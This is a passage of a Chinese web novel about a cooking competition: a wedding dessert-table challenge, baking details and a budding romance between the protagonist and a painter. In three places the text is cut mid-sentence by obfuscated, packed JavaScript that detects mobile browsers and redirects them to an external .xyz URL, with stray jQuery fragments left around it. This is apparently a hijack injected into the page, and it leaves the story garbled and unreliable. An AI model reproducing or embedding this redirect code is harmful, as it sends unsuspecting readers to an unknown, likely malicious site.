但现在，他很庆幸这件大氅足够长；长得像一对黑色的羽翼，足以把扑向他的齐新雨拢入其中。 好消息是过分震惊确实可以让人忘记拘谨，坏消息是……好像有点吓到他了。 蒋醉余轻轻拍着青年的后背：“小齐，放松。” 齐新雨揪着他的衣服，声音闷闷的，有点埋怨：“蒋先生什么时候认出我来的？” 蒋醉余老实巴交：“第一眼。” 早在他知道齐新雨的名字之前，早到他穿着罩衣从画室走出来的时候，蒋醉余就觉得这张脸眼熟了。 再往前算一点，他还在国内、还是个群舞只能站在最后一排的纯新人的时候，齐新雨第一次走进他们的剧院。 他在人群中好显眼，蒋醉余当时从来没想过，这个人会在第二次舞台时举起自己的灯牌。 后来他被“发配”到了伦敦分队，演出变成了每月一次，齐新雨还是会来。 他安安静静地坐在观众寥寥的台下，跟着音乐轻轻摇晃，像某策略游戏里那朵向日葵。 不需要再伪装自己的粉丝身份，那些被压抑的惶恐激动和快乐就一股脑地冲了出来。 “你知不知道，”齐新雨慢慢地说，“我最后一次在舞台上看见你的时候，你状态好差。” 疲惫、迟钝、在队友的貌合神离的孤立中被动消极，看不出来一点最初让他当作缪斯的端方正气和压迫感。 齐新雨以为自己面对这样无趣的演出会转身就走，但他并没有。 他甚至一反常态地跟着身边的粉丝，不太熟练地呼喊起来：那姑娘喊着“you are so cute”，齐新雨喊着加油。 蒋醉余在台上听得影影绰绰，却突然想，只要有一个人——比如这位很眼熟的绿瞳粉丝——还在为他欢呼，他就可以继续在这个团里坚持下去。 那天晚上回去，他做了一个好长的梦。 “蒋先生认出我了还不告诉我。”齐新雨告状。 蒋醉余摸摸他的肩膀，好声好气地赔礼：“我们去刚刚路过的工艺品店买你喜欢的杯子，然后去吃镇上那家全英最有名的炸鱼薯条，好不好？” 齐新雨还愣愣地揪着他的衣服，蒋醉余给店员交了钱，把他的手拉下来：“出了炸鱼薯条店我们就去修道院，台阶爬到半山会有一辆冰淇淋车……” “我可以吃三个球吗？”齐新雨说。 他的手还被蒋醉余握在掌心，他动了动手指，偷偷从对方的指缝穿了出去。 蒋醉余低头看了一眼，是很标准的十指相扣。 他说：“不可以，但是我们可以加起来点三个口味。” 32. 婚礼的甜品台 离开海风清爽的惠特比，回到阴雨连绵的伦敦，蒋醉余才从其他选手口中得知自己错过了一场大戏。 安迪的调查结果已经向选手们公布。 由于“个人情感纠纷”，安迪表示自己会进入本季《美食之王》的正赛。 为了确保誓言不落空，他选择贿赂海选评委尼尔森。 尼尔森帮他完整设计了菜谱，安迪凭借“创意分”进入了正式名单。 这样作弊得来的名额自然不作数，安迪于是被剥夺了选手资格，一位来自白俄罗斯的女选手瓦列里娅替补进入比赛。 幸运的是，她一来就赶上了第二次积分赛，不必直面淘汰的危险，有了缓冲的机会。 这次积分赛并不在摄影棚内举办，甚至这一周从周一到周六他们都会待在外地，由赞助方统一负责住宿和三餐。 “本周的赞助方和比赛内容，是连我这个老头子看到都会大叫‘哇哦’的人呢。”奥斯汀站在大巴过道说。 夏洛特笑吟吟地接话：“但是可以给大家三个提示。第一，‘哇哦’；第二，这周的主评委是奥斯汀主厨……” 看着众人迷茫的眼神，她无奈道：“好吧，第三个提示，是一首歌。” 她说着，示意坐在一旁的助理打开蓝牙音箱：“我觉得这第三个提示根本不能叫提示，它已经完全是明码了。” 嗡嗡的低音渐起，一段律动感极强的音乐传出。前奏才刚刚开始，立刻有人喊道：“哇哦！” “《Whoever》！Bass Gang圣经！酒花定情曲！”薇薇安捧着脸尖叫起来，“不会吧！” 奥斯汀把音乐声调小：“我觉得你们没有猜错……很抱歉，我会尽量在副歌开始前说完的。 “这一周的主题是‘甜品台’，只有一轮比赛，但将持续整整两天。 “我们现在正在驱车前往一场盛大婚礼的举办会场，本周六，著名音乐人狄俄尼索斯和安托万将在那里步入婚姻殿堂。 “而你们要做的，就是为他们设计出贴合婚礼主题和色调的甜品台，冠军的作品还能真的出现在婚礼上。” 薇薇安再次尖叫起来： “我竟然有机会成为我cp婚礼的甜品师！这场比赛不赢下来，我就去产万字长车。” 蒋醉余看了她一眼。你这个好像不是给自己的惩罚，诡计多端的同人女。 蒋醉余虽然对欧美音乐圈不算特别熟悉，但也听说过这两位男士的大名。 他们来自同一支乐队，安托万是贝斯手，狄俄尼索斯是创作型键盘手。 由于狄俄尼索斯是希腊神话中的酒神，安托万的名字本意是花和无价之宝，所以这对cp又被称为酒花。 而刚刚评委们播放的那首歌，就是狄俄尼索斯专门写给安托万的，在单曲小专辑的标题上光明正大地写着“为我的挚爱安托万所做”。 贝斯这种乐器常常被普通听众吐槽听不见，更外行一点的人还有分不清贝斯和吉他的，贝斯笑话广为流传。 这首《Whoever》则不同，不仅开头是从贝斯渐入，还添加了大段的贝斯独奏炫技，又或者只有键盘垫音配和弦，秀恩爱秀得明目张胆、丧心病狂。 在这首歌的副歌部分有两道和声，正是他们两个亲自上阵演唱，没什么歌词的“wooo”“ohhh”渐渐就变成了众人口中的“哇哦”。 乐队的主唱还曾经在访谈中玩笑地提到，自从这个梗火了，这两个人经常在排练间隙哇哦来哇哦去，让他们乐队的其余几人烦不胜烦。 英国同性婚姻合法，近来一直有风声表示他们两个已经领了证准备结婚，现在看来确实是空穴来风事出有因。 “至于婚礼的主题和需求，就留给当事人亲自解说吧。”奥斯汀说，恢复了蓝牙音箱的音量，正好赶上进入副歌段。 一时间，车前车后，听取哇声一片。 就在这样闹哄哄的氛围中，大巴到达了目的地。委托人兼赞助方已经站在门口迎接他们。 主会场是一片很大的露天草坪，周围栅栏上绑满了五颜六色的气球，宾客的餐桌、尽头的舞台也都已经搭建装饰完毕。 他们在现场一共设置了六个一模一样的甜品台，选手们只用设计一种样式，不需要有更多变化。 从现场环境不难看出，婚礼的主题囊括了美酒、鲜花、宇宙、音乐等诸多元素，在专业设计师的操持下毫不杂乱，对选手们却是一个重大考验。 “我的事情还挺多的。”安托万笑容和善，突出了一长串要求。 “我们希望每个甜品台有一个主蛋糕、两个副蛋糕，要有棒棒糖蛋糕、糖霜饼干和马卡龙，要有杯装或碗装的甜品……以及最后一种点心，可以由各位自由发挥。” 在希腊神话中，狄俄尼索斯主要掌管着葡萄酒，他们希望可以运用到葡萄和酒水。 两人第一次搭话是因为安托万和《小王子》的作者同名，再加上安托万有花的意思，所以他们想要在甜品中也展现相关的宇宙和玫瑰花元素。 他们又都是玩音乐的，甜品台里自然少不了音乐相关的装饰，例如贝斯、琴键、音乐符号等。 “整场婚礼的氛围会稍微休闲热情一点，晚上还要举办篝火歌舞派对，我们对甜品台色调的设想是比较鲜艳的。” ——栅栏和桌布是奶白色，绿的草坪，紫的葡萄，纯度明度都极高的三原色气球和椅子。 他们没有限定出一两种主色调，完全是白色加亮色的明快搭配。 配色方面的自由度很高，对色彩苦手来说却是全然的噩梦。 “接下来就到我的场合了，”奥斯汀说，“根据整整两天的比赛时长，你们应该已经猜到这是单人赛了。 评委们不打算用这场比赛过多考验选手的批量制造能力，所以除了三个蛋糕以外，每个造型的小甜品只需要做两个就可以。 “我们今天出发早，现在是早上八点，每天从早上九点到晚上五点是你们可以进入厨房的时间，中途有一个小时休息。 “在接下来的一个小时里，你们可以在现场寻找灵感，舞台周围有关于他们经历的展板；也可以到厨房旁边的休息室整理思路。” 评委把各类事宜交代完毕，有人举手发问：“甜品台的布局和装饰也要我们自己完成吗？” 一个好的甜品台可不仅仅要求甜品主题一致、色调和谐，蛋糕是使用对称还是不对称摆放、托盘用金色白色还是透明的、装饰品和台布应该如何选取，这都是要考虑的问题。 “当然不了 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蒋醉余准备袭承这种思路，将黑白贯穿始终。两位新郎都是从小学音乐、又以音乐为职业和梦想的，那么甜品台的总主题就定成音乐。 这轮比赛有一个很大的陷阱，他一边往休息室走一边想。 甜品台、或者说所有的造型类蛋糕，最常用的就是翻糖：塑形方便。调色简单，只要手工水平过关根本不会有翻车的危险。 可他们现在在进行的毕竟是《美食之王》的积分赛。抛开一切题目和色香味要求不谈，美味才是最核心的元素。 而翻糖蛋糕的味道就令人不敢恭维了。 在两天的时间内，他们一共需要设计出一个主蛋糕和两个副蛋糕。 这都是多层的造型蛋糕，通常来讲，主蛋糕会由三到四层蛋糕胚组成，副蛋糕则是两层。 装饰类蛋糕对外观要求相当高。如果不用翻糖的话，其余选项还需要再斟酌。 裱花豆沙一般饱和度比较低，和这场婚礼的高明度不匹配。 巧克力是一个不错的思路，不管淋面还是造型都可以做到，为了避免过于甜腻却不能全盘应用。 动物奶油时间长了容易融化或者塌陷，可以加入马斯卡彭乳酪、巧克力和吉利丁，变得更稳固、更方便造型。 又或者干脆抛弃掉方方正正、层层叠叠的传统蛋糕塔思路，做成异形蛋糕，让蛋糕本身也承担一部分美观功能。 蒋醉余在休息室坐好，摊开本子写写画画。 两个副蛋糕就设计成异形的，可以以两个音乐人分别为灵感，一个是葡萄与琴键，一个是星空、玫瑰与贝斯，同时又各自带一点对方的元素和相同的装饰。 中间的主蛋糕还保持正常的塔型，以人偶和音符装饰为主，里面是彩虹色分层。 除此以外，还有各种各样的小点心需要一一考虑。 高强度的用脑活动中，一个小时转瞬即逝，休息室的选手们纷纷向厨房跑去。 “醉余，你不走吗？”薇薇安随口问道。 蒋醉余从笔记本里抬起头，挥了挥左手，右手仍在盲写：“我等最后一样设计完再去。” 【自选甜品：星球形桂花冻豌豆黄。】 33. 主题糖霜饼干 蒋醉余做豌豆黄不是突发奇想，而是真的在食材室发现了它的原材料：白豌豆。 它和青豌豆是同一属的不同品种，表皮光滑、豆粒饱满，蛋白质含量极高。 乳白色的豌豆圆滚滚地堆在一起，还能闻到隐隐的豆香。 “醉余，你会做这个呀！”导演助理有些激动地插话，“这些豆子是导演一个朋友的农场便宜卖给我们的，谁都不知道怎么处理呢。” 农场稳定给一家饲料厂供货，结果没想到今年作物丰产，对接的饲料加工厂又出了点问题，吃不下那么大的订单，只好找到节目组，期待有选手创造出什么可以批量生产的新吃法呢。 蒋醉余迷茫地眨了眨眼：“……饲料？” “是啊，育肥羔羊的饲料，”助理点头，又念叨起来，“我听他们说中国人什么都吃，你果然连这种东西都会做。” 也不是什么都吃啦……蒋醉余笑着反驳两句，画完甜品的设计稿来到厨房。 整整三个蛋糕的工作量不容小觑，他们最好在今天把能前期准备的工作全部完成。 包括蒋醉余在内，大部分人都打算先做完糖霜饼干这一类存放时间更长的食物。 黄油在大碗里稍微软化、压拌均匀，保证它们的软硬程度都是相同的，接着倒入糖粉和奶粉、筛入低筋面粉搅拌均匀。 等它□□粉裹着变成松松垮垮的结团状，就可以倒入蛋液，使用抓揉的手法揉成光滑面团。 考虑到单纯饼干和糖的味道稍显普通，他用绿茶替换了一部分蛋液，苦味和清香化解糖的甜腻。 饼干扎好排气后送进预热好的烤箱。在等待的时间里，蒋醉余把白豌豆放到开水里浸泡，开始调制糖霜和艾素糖。 糖霜中除了调色的食用色素以外，为了食物的风味层次，他还给每一种有色糖霜里都加了不同果茸。 果味搭配绿茶，展现出层层叠叠的味道，制成三种展示两人恋爱历程的装饰饼干。 一切计划都很完美，但糖霜饼干要等到放凉才能开始绘制装饰，在此之前，蒋醉余先把目光转向了马卡龙。 蒋醉余用深红、正红和浅红三种颜色的面糊画成玫瑰花。 每画两笔之前稍微间隔一会，能够更有立体感，避免面糊花瓣融在一起变成一坨；在花朵的旁边，再用绿色面糊做出两片叶子。 饼干画完、放到一旁晾皮半个小时，它们在烤箱中慢慢长高，翻出优雅匀称的裙边，很快就可以出锅了。 刚做好的马卡龙甜味十足，酒香扑鼻，红玫瑰外形的花瓣片片分明。 内陷选择朗姆酒黑巧甘纳许混上搅碎的酒渍葡萄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775110|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干，用咖啡的苦和酒液的辣来冲淡饼壳的过分甜腻，光滑的外壳与柔顺的甘纳许夹心质感和谐。 等到放上一段时间后，杏仁粉的香气扩散到馅料里，而湿润的馅料浸入外壳，让它变得内心柔软，壳和馅彻彻底底融为一体，它们的味道还会更上一层楼。 等待的时间里，刚好可以去吃午饭。 狄俄尼索斯他们租的场地主要是一大片草坪，旁边的小屋不承担接待作用，基本只有厨房、盥洗室、几间小休息室，以及一个同样没多大的空会客厅。 这两天厨房被节目组占用，他们的午晚饭都是直接找酒店订了餐要求外送。 伊薇特想了想一般酒店为了保证菜品质量绝不送外卖的高冷劲：“可见他给的实在是太多了。” 加布里埃尔打开饭盒，忽而沉默：“可见酒店餐厅对自己的评价水平没什么执念。” 热腾腾的饭菜放到密封保温快递盒中，牛排被余温焖熟，炸货被蒸汽软化。 路途中又指不定遇到什么颠簸，纵然大厨在小小的打包盒里辗转腾挪、认真摆盘，到食客手里也不会多么好看。 可哪怕再考虑到这一系列负面影响之后，选手们也很难不对菜品调味提出疑问： “美食奖能拿奖的五星级酒店高档餐厅，真的是这种水平吗？” 34. 桂花冻豌豆黄 吃过午饭回来，蒋醉余把泡了几个小时的白豌豆从盆里捞出来。 豆子吸饱了水变得鼓鼓囊囊，半透明的外皮胀起，已经和圆圆的豆粒分开，只要用手轻轻一搓就会脱落。 相比于先把豆子放到高压锅中炖烂再过筛去皮的思路，这样在生豆子时就分开，可以让成品的豆味更加纯粹。 蒋醉余剥好皮，把反复漂洗完毕的豆子沥干水分，放入锅中，再次加水。 有的人十分讨厌豆制品，觉得有一股豆腥味，但这也正是豆子的特色所在。如何平衡好异味和风味，不要让最后做出来的豌豆黄只有甘甜没有豆香，是要格外关注的问题。 这次加的清水大概莫过豌豆两个指节左右，蒋醉余还往里面加了一点米酒增加味道层次。 等到大部分豆子都开了花，就可以把锅里剩余的水和豆子一起搅拌，过筛碾成细腻丝滑的豌豆糊。 这一步没有用到破壁机或均值机，完全靠手工完成，还能够保留一点点稍微大块的豌豆碎，带来别样口感。 另找一只无油无水的干净空锅，开小火把甜豌豆泥放进去翻炒。浅黄色的豆汤慢慢变得浓稠，就可以倒入模具刮平表面，等待室温晾凉后送进冰箱冷藏。 按照蒋醉余的设想，下层是豌豆黄，上层则是一层透明的桂花冻。把白凉粉放入清水中融化，煮到沸腾，再加入糖桂花搅拌。 当桂花液也放凉后，先一步冷藏的豌豆黄已经基本凝固，就可以把白凉粉倒到豌豆黄上面。 他找了一张油纸揉皱再展开，平贴在凉粉表面。 这样一来，等到凉粉干透揭开油纸，桂花冻的表层就会变成宝石晶体似的凹凸不平。 糖桂花的香甜和豌豆黄的甘醇组合在一起，凉粉剔透滑嫩、橙黄的豌豆黄质地细腻，点缀的桂花碎和没有完全研磨的豌豆带来惊喜的口感。 这份桂花冻豌豆黄他打算做成行星的形状，圆圆的星体外面套着一圈光环，因为是在整块糕点上抠出外轮廓，光环和星体之间并没有分界，就用碎金箔贴在光环的位置。 再加上表面的切面纹理，整只甜点仿佛用黄玉和发晶制成摆件。 蒋醉余在笔记本上又划掉一行待办事项，几种要用到蛋糕体的他打算全部等到明天再做，今天剩余的任务就是把碗装甜品和蛋糕上的巧克力或糖塑装饰做好。 蒋醉余打算做的是最简单的慕斯。 他一共制作了三种口味的慕斯糊，分别是葡萄、玫瑰和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蒋醉余将食物送入口中，微不可察地皱了皱眉。 前菜号称是日式风味，沙拉中除了明虾和南瓜块，还有苦菊菜、苹果粒和蜜红豆，沙拉汁则是在日式酱油中加入黄芥末和苹果醋。 日式酱油味道清淡微甜，所以这道菜从调味到食材整体味道都是甜中带着轻微的酸和咸鲜。 菜肴不能说难吃或者没创意，却实在泯然众人。 在知道这份前菜是美食奖提名作品的前提下，它完全没有达到选手们的预期。 明虾香甜鲜嫩、肉质肥厚，作为海水虾自带咸味，应该是煮到外表变成漂亮的粉红色，就立刻放入冰水降温。 直到沙拉被送上顾客的餐桌，最内里的一小块依然应该保留一点近似生食的软糯弹牙。 但事实是，沙拉里的虾已经完全熟透、甚至有一点老了。 “如果不告诉我的话，我会觉得这是我们综艺三强选手在比赛里就能做出来的水平。”洛伦佐小声道。 蒋醉余轻轻扒拉两下自己盘子里的菜，没有参与讨论。 他觉得这道前菜从设计思路上就有问题。 一道以清爽清淡为卖点的沙拉，为什么要加入风味独特、刺激性极强的芥末，而且是直接把芥末混入酱汁？ 酱油颜色虽深，透过光看也依然是剔透澄澈的深棕色，浅黄色的苹果醋更是如此。 而黄芥末的加入直接让清澈的溶液变得浓稠混沌，从外观上就失去了清爽明快的感觉。 “我完全能理解它没有拿到奖，”洛伦佐说，“我不理解的是它为什么能还能获得提名。” 比它味道更好、设计更精巧、在业内也打出了名声，却在奖项评比中毫无水花的菜，绝对不止一道两道。 “刚刚酒店总监来说过他们的开业时间，”塞缪尔也跟着小声道，“我算了一下，这家餐厅拿到第一个提名后，下一个月就宣布了要进驻酒店。” 薇薇安指了指墙上的介绍：“而且从此以后他们就像开窍了一样，几乎每年都能获得至少一项提名。” 在此之前的十余年里，这家餐厅主厨行走江湖最拿得出手的名头也不过是某烹饪节目的嘉宾、以及多年前获得的一个青年厨师比赛的一等奖。 知名餐厅和全球连锁五星级酒店的合作，绝对不可能是一个月能谈下来的。 可如果连提名没有，它又是凭什么得到酒店青睐的呢？ 众人对视一眼，就听奥斯汀清了清嗓子。 “各位选手如果吃完了可以回去休息；但为了防止作弊，截止明天的比赛结束前，我们都需要一直保管各位的电子设备。”他再次提醒道。 不少人哀嚎起来，蒋醉余跟着人群回了屋。 他打开自己从厨房带回来的笔记本，开始给明天列精确到分钟的计划表。 书桌上的闹钟悄无声息转动，才刚刚到八点半。距离比较正常的人类睡觉时间还有至少一个小时。 蒋醉余放下笔，从行李箱里翻出一本没看完的小说，找到书签页继续读下去。 这支书签还是齐新雨画水彩玩的随手涂鸦，粉橘色系鲜活跃动，看不出画的是什么。 当时蒋醉余问他画面的意思，但他只是笑着眨眨眼，一句也不解释。 就像他从惠特比回来以后，还没来得及和齐新雨说些什么。 翻页的手微微一顿，他下意识地想要拿起手机。 齐新雨是个分享欲很旺盛的人。 在餐桌上叽叽喳喳地念叨白天在画室又碰到了什么事情，连带着蒋醉余也养成了大事小事有的没的都拿出来说一说的习惯。 说酒店餐厅连美食奖获奖菜品质量都不如一些国内顶级餐厅没有提名的菜，说白天工作量大得让人想吐血，说那两位忙到飞起却又满脸幸福的委托人。 他漫无边际地胡思乱想，然后意识到自己根本处于赛博与世隔绝的状态，带着满脑子独家回忆沉沉睡去。 他第二天的任务是给蛋糕做装饰，时间也很紧迫，一早就踩点到了厨房。 三个最主要的蛋糕都还没有开始造型。 一个副蛋糕代表狄俄尼索斯。 把两层玫瑰酱海绵蛋糕粘在一起，大开大合地削成拱门的形状，和最底层作为底座的蛋糕一起用加了马斯卡彭奶酪的白色奶油抹面。 取出前一天准备好的长方形和细线状黑巧克力，按照钢琴黑白键的排布沾到拱门蛋糕上。然后再把葡萄藤的糖塑缠到拱门上。 巧克力调温回火，淋到底座蛋糕上做成光滑反光的淋面，再把拱门粘到正中间，在门脚摆上一些蛋白糖做成的花花草草的小装饰 弯曲的琴键上坠着晶亮的紫色和绿色葡萄，脚上是从生的花草和娇嫩的玫瑰，黑色的淋面在流淌中凝固。 另一个副蛋糕以安托尼为灵感的副蛋糕。 蛋糕胚用原味蛋糕，底座外观完全相同，上两层蛋糕切出贝斯的形状，在用奶油抹面之后用银色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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五线谱的元素贯穿始终，蒋醉余选的是一把只有五个齿的小号刮板，为了表现音乐的流动感还在刮面时画成了波浪线。 这个大蛋糕最复杂的部分反而是蛋糕体本身，由于不需要用蛋糕进行造型，各类音符星星等装饰都是前一天做好的，可以直接像玩立体贴画一样在蛋糕上装饰。 但是考虑到的人偶中间是豆沙夹馅，为了不让这里的豆沙元素过于突兀，他还是用裱花芸豆沙在蛋糕上挤出了一些花朵。 用小餐车把一个主蛋糕、两个副蛋糕挪到节目组给每人提供的长方形展示桌上，剩余五种小甜品放到白瓷盘里装好。 铃声响起，就迎来了三位评委和两位委托人的品尝评分环节。 “感谢大家的创意，你们不愧是《美食之王》千挑万选出来的厨师。”狄俄尼索斯说。 “但其实我们有点苦恼，”安托万笑着说，“有两位选手的作品让我们感觉难以一较高下，希望可以在深入了解一下。” 奥斯汀顿了顿，在众人期待的眼神中道：“蒋醉余、薇薇安，请离开你的操作台，到桌前来。” 36. 开花结果蛋糕 甜品台这个概念的风靡离不开各大明星和网红的努力。 在他们发出来的派对照片中，不管活动主题是婚礼、朋友聚会还是小孩子的生日，甜品台无一例外拥有精致复杂的外观。 精心设计的摆台引人注目，往旁边一站都可以直接当成摄影布景。 “我们可以很遗憾地看到，现场一共十位选手，有四个人都在制作蛋糕的时候使用了翻糖。”奥斯汀说。 仅仅是这一个选择，就让他们失去了前排席位。 而在剩余六人中，也有两名选手没有考虑好动物奶油的稳定性，整整一天过去，早上做的第一个蛋糕裱花已经有了融化迹象。 冠军积分的竞争者只剩下了四人。 “伊薇特、粥川和醉余，你们三个都把主题设置成了‘音乐’，这是一个相当寻常的题材，但你们都展现出了作为一名优秀厨师应有的创意。” 伊薇特制作了开心果口味的歌剧院蛋糕作为自选甜点，同时还呈上了杯装的杏仁提拉米苏、榛子马卡龙等。 她的三个蛋糕都是传统的塔形，蛋糕松软富有弹性，浓郁的可可味扑面而来。 “味道优秀，造型美观，可是我实在不理解你是怎么想的，这整整一台子的食物，竟然全都是坚果巧克力元素。”夏洛特扶额。 连蒋醉余都听过“一个五仁月饼能让白人全军覆没”的笑话，来参加婚礼的宾客中，对坚果过敏的人可绝对不罕见。 夏洛特顿了顿，宽慰道：“我理解大家还在把这当成简单的烹饪或者单纯的比赛，不像商业活动中考虑得那样精细周全，这也并不是导致你这次排名的直接因素。” 对她成绩影响最大的，还是大大小小甜点中相似的口味，以及过多使用原色巧克力导致的偏沉闷的色调。 而粥川不出意外地做了和果子。 他考虑得更加细致一点，虽然也是音乐题材，但委托人所在的乐队是一支流行乐队，他认为五线谱和音符之类的装饰更容易让人联想到古典乐。 故而粥川大量使用了金箔银箔、镜面果胶、几何形状、不规则的线条装饰等，让他做出来的甜品看上去现代感十足。 “这一桌的外观真的非常突出，每一份甜品都在闪闪发光，”梅森笑道，“可惜你和伊薇特两个真应该互相学习一下，说不定今天的冠军之位就能易主。” 在这场比赛中，粥川做出来的点心堪称各自为政。 “黄色磨砂几何切面的栗子桂花和果子，粉色的草莓巧克力棒棒糖蛋糕，绿色银色大理石纹的佛手柑马卡龙，紫色的杯装酒渍葡萄配芝士奶泡和香芋冰淇淋……哦，还有大面积克莱因蓝的副蛋糕。” 哪怕忽略繁杂的颜色，闭上眼睛只论味觉，也依旧没什么统一感。 评委指了指另一边的五名选手：“如果不是这些甜品分开来看的味道都过得去，佛手柑马克龙也很惊艳，你现在应该和他们站在一处。” 剩余还没被点到的就只剩下蒋醉余和薇薇安，被评委从料理台后喊到最前面的展示桌旁。 “按理说，我们应该只有一名冠军，只有一个人能拿到满分的积分。” 这一周的积分赛依旧是满分十二分，十名选手按照排名，分别获得十二分到三分，每人都是不同的分数。 安托万笑了笑：“但是我们非常喜欢薇薇安小姐的设计，在其中发现了很多小巧思，如果不是我过分自信的话，我想您也许是我们的歌迷。” 薇薇安点头称是，脸上是兴奋的红晕。 活的男神！男神冲我笑了！他还说很喜欢我的作品！四舍五入我就是我cp唯一指定厨子！ 他都不和你站在一排了，丹尼斯你还要揽着他的肩膀，胳膊不累吗！就这么黏糊吗！ 丹尼斯是狄俄尼索斯的昵称，他不知道这位选手内心丰富的心理活动，还在听着安托万的话频频点头。 薇薇安的主题乍一看似乎很奇怪，和这场婚礼也没有什么关系，甚至连样式都和大众印象中华丽而造型细腻的甜品台不符。 她的主题叫做“开花结果”，整个甜品台的风格自然热情，色调以红黄暖色、绿色和褐色为主，鲜艳明快；其中两个副蛋糕没有抹面，直接做成了裸蛋糕。 凭借着小宇宙爆发的一腔热血，她的自选甜品没有像别人一样做小型的点心，而是直接肝了一座泡芙塔出来。 “看到这座泡芙塔的那一刻我就知道，不管最终味道如何，这都一定会成为我心目中的最佳设计。”安托万笑道。 薇薇安自己也知道时间很紧迫，所以只是做了最基础的浅黄色圆形泡芙配香草卡仕达酱。 泡芙塔上撒着红酒加糖浆熬出的糖丝，各个缝隙处贴了蛋白糖玫瑰花，最引人注目的则是顶端插着一幅糖霜饼干上绘制的正比半身合照。 裸蛋糕没有做成塔型，而是高高的圆柱形，按照蛋糕片、奶油、水果、奶油、蛋糕片的顺序排布，厚度均匀的奶油在蛋糕片外溢出一层薄薄的花边。 两个裸蛋糕看似颜色差不多，其实深一点的是咖啡蛋糕，搭配芒果、菠萝等热带水果，浅一点的是巧克力蛋糕，夹着草莓、树莓等酸甜的红色系的莓果。 蛋糕顶部依旧抹了一层白奶油，她刻意地没有磨平，用刮板塑造出油画笔刷似的纹路，在上面粘着巧克力做成的一朵朵鲜花和纤长翠绿的叶子，鲜花没有铺满蛋糕胚，只是在其中一个月牙大小的区域。 最核心的主蛋糕，她把三层蛋糕胚削成一座山，山上开满奶油挤成的鲜花，平整的山顶上，在鲜花的簇拥中，则坐落着一个现代感颇强的姜饼屋。 “感谢你能够这么清楚地记得它的样子。”安托万说。 他们在巡回演唱会的最后一站回到家乡，在唱最后一首歌之前公布关系。薇薇安做的姜饼屋正是当时的演出场馆。 红酒马卡龙、专辑唱片图案的糖霜饼干等其余甜点也充满巧思，安托万一样样细数过去。 “以前都是我们暗戳戳地给歌迷设置谜题，这次轮到我在粉丝的作品里寻宝找彩蛋，这种感觉还挺奇妙的。 “最重要的是，我从这一份作品里看到了我们一路以来的成长轨迹。” 从籍籍无名到一夜爆火，“开花结果”这个主题和整体明朗热情的色调，大概是对他们迄今为止生涯的最好概括。 像幼苗终于攒够力气破土而出，在一场春雨的哺育下快速生长，直到妍丽的花盛放，直到收获的果实坠在眼前、唾手可得。 评委们就算大致知道两位委托人选择薇薇安的原因，也没有详细了解过她做出的设计到底认真精细到什么地步。 “这周真是让我们看到了一个崭新的薇薇安啊，”梅森感叹道，“作为和她一起被提名的选手，醉余你感觉怎么样呢？” 薇薇安的设计思路给众人的震撼太大，几乎忘记了她旁边还站着一个沉默的蒋醉余。 蒋醉余摊了摊手，苦笑道：“我觉得我不应该站在这里。” 他虽然也认真考虑了委托人的经历和需求，但毕竟没有那种发自内心的亢奋热爱，花费的心力和这样全神倾注的心血完全不能比拟。 “那倒也不必，”奥斯汀咳了一声，“薇薇安，你这次的表现简直令人刮目相看，虽然时间紧迫，食物味道依然保持了不错的水准。” “不过也有一个问题，就是时间确实太紧迫了。” “我们完全理解你面对这个比赛题目想要倾尽全力、用上自己所能想到的最好的水平，但是这毕竟是一次普通的限时积分赛，你繁复的设计稿根本没有给自己留一丝退路。” 一旦发生一丁点意外耽误了时间，都意味着她将无法按要求完成所有的甜品种类，就算前面答得天花乱坠，“没有完赛”这一点就足以让她陷入危险境地。 “更何况，你自己也是知道的，”奥斯汀看了一眼桌上的甜品，“你实际的完成状况也确实不算完美，甚至可以说粗糙。” 巧克力花瓣的上色没有覆盖到每一个角落，泡芙塔的装饰糖丝粗细不均匀而且普遍不够细，杯装水果提拉米苏的手指饼干形状不够规整。 这份作品外表看起来壮观，其实真要追究细节的话小毛病不断。 “这是你自己的取舍，我们尊重并且祝福你能够圆满完成，但也必须尽到提醒的责任。” 这是彻头彻尾的崖前一步。 用自己在厨艺方面的职业前程，赌一场盛大的美梦成真。 她这次冒险并不像其他选手是为了博取更好的名次，而只是出于个人兴趣，全然不顾万一狄俄尼索斯两人没看上她的设计该怎么办——从纯厨艺的方面来讲，她的表现只能说一般。 但将心比心，谁也无法指摘她的选择。 梅森摆着老好人的笑脸一言不发，奥斯汀欲言又止止言又欲，最终还是夏洛特叹了口气： “你的天赋和技术都很棒，我们很期待你能够走到最后。而积分赛的意义，比你们想象的要更重大一些。” 奥斯汀整理了一下表情，转向蒋醉余： “而醉余，你的甜品台在主题、色调和风味的把控上都实现了糖霜饼干和豌豆黄都得到了我们五个人的一致好评。” 众所周知，基础糖霜饼干就是硬饼干搭配添加了花式色素的糖，论味道毫无可取之处。 可大家似乎都默认了造型甜品只要美就够了，想到在饼干味道上动手的只有他一个人。 蒋醉余很难不怀疑，这是因为这群欧美人口味都甜得发腻，对糖霜张扬的蜜意接受良好。 他们的反应也证明了，自己这种改变应当是成功的。 淡淡的绿茶味使饼干出彩。 相比红茶的柔和甘醇，绿茶更加清苦，浅淡的苦味并没有被甜蜜压制，反而牵制了甜味的爆发。 而糖霜中因为也加入了反复过筛、均质后变得无比细腻丝滑的各类水果果茸，获得了几分清新的果香和酸甜。 当果味糖霜遇到茶香饼底，竟然还能从中吃出几分清爽的水果茶风味。 